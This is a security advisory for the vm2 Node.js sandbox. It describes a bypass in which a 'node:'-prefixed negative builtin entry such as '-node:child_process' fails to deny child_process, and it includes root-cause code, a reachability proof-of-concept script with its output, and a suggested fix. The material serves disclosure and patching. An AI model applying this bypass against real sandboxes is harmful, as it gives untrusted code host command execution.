GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Quick fix
GHSA-8686-vhfx-7r3j — vm2: upgrade to the fixed version with the command below.
npm install vm2@3.11.7Details
## Summary
NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ```
does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.
The safe proof below only checks module and function reachability. It does not execute any OS command.
## Affected Mode
NodeVM.
## Affected Configuration
```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ```
This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.
## Affected Files / Functions
- `lib/builtin.js` - `makeBuiltinsFromLegacyOptions` - wildcard builtin expansion - exact negative entry check: `builtins.indexOf(\`-${name}\`)` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `lib/setup-node-sandbox.js` - `requireImpl` - `node:` prefix stripping before builtin load
## Root Cause
`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:
```js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; } ```
But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:
```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ```
`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.
## Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host `child_process` builtin - sandbox -> host process-spawning function references
## Impact
Confirmed impact:
- `require('child_process')` succeeds inside the sandbox. - `require('node:child_process')` succeeds inside the sandbox. - The returned module exposes `execSync` and `spawn` as functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
## Safe Local Reproduction
Tested on Node.js `v24.14.0`.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
```js 'use strict';
const { NodeVM } = require('./');
function probe(builtin) { const vm = new NodeVM({ require: { builtin } });
return vm.run(` const out = {};
for (const spec of ['child_process', 'node:child_process']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } }
module.exports = out; `); }
console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['*', '-node:child_process']), denyCanonical: probe(['*', '-child_process']) }, null, 2)); ```
Observed result:
```json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'child_process'" }, "node:child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:child_process'" } } } ```
## Expected Secure Behavior
`-node:child_process` and `-child_process` should be equivalent.
If either spelling is denied, both of these should fail:
```js require('child_process') require('node:child_process') ```
## Suggested Fix
1. Canonicalize builtin names before allow/deny comparison: - Strip `node:` from user-provided builtin entries. - Preserve whether an entry is negative (`-...`) before canonicalizing. - Store and compare one canonical builtin key.
2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support `node:` spelling
3. Add regression tests: - `builtin: ['*', '-node:child_process']` blocks `child_process`. - `builtin: ['*', '-node:child_process']` blocks `node:child_process`. - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`. - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-92957[ADVISORY]
- https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e[WEB]
- https://github.com/patriksimek/vm2[PACKAGE]
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7[WEB]
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix[WEB]